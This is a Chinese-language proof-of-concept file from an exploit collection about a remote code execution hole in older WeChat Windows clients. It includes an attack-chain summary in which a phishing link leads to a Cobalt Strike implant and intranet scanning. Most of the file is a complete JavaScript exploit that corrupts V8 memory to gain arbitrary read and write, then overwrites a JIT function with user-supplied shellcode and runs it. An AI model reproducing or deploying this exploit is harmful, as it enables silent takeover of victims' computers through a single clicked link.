Awesome-POC/其他漏洞/微信客户端 远程命令执行漏洞.md
2024-11-06 14:10:36 +08:00

197 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 微信客户端 远程命令执行漏洞
## 漏洞描述
微信客户端存在远程命令执行漏洞。目前已经发现在野利用受害者点击链接就会中招微信Windows PC版进程webchatweb.exe会加载shellcode执行整个过程无文件落地无新进程产生攻击者可以直接获取目标机器权限。
参考链接:
- https://mp.weixin.qq.com/s/OfPNr-l_9kzl1MdE7DSHHQ
## 漏洞影响
```
微信Windows版 <=3.2.1.141 截止2022年12月最新版为3.8.0.41
```
## 漏洞复现
[安恒信息应急响应中心](https://mp.weixin.qq.com/s/OfPNr-l_9kzl1MdE7DSHHQ)分析的攻击链:
1. 攻击者利用微信PC版0day构造恶意的钓鱼链接通过微信将钓鱼链接发送给目标员工。
2. 当员工打开攻击者的钓鱼链接时触发该漏洞从而导致目标员工PC被植入攻击者制作的cobalstrike木马木马进程为xxxsoft.exe同时创建了名为dotnet_v4.3的系统服务。
3. 随后攻击者进一步在c:\\ProgramData\目录下放置TxPortMap.exe 扫描工具并利用该工具扫描目标单位内网。
exploit.js
```
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [#shellcode];//shellcode替换成自己的 注意是x86的
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
```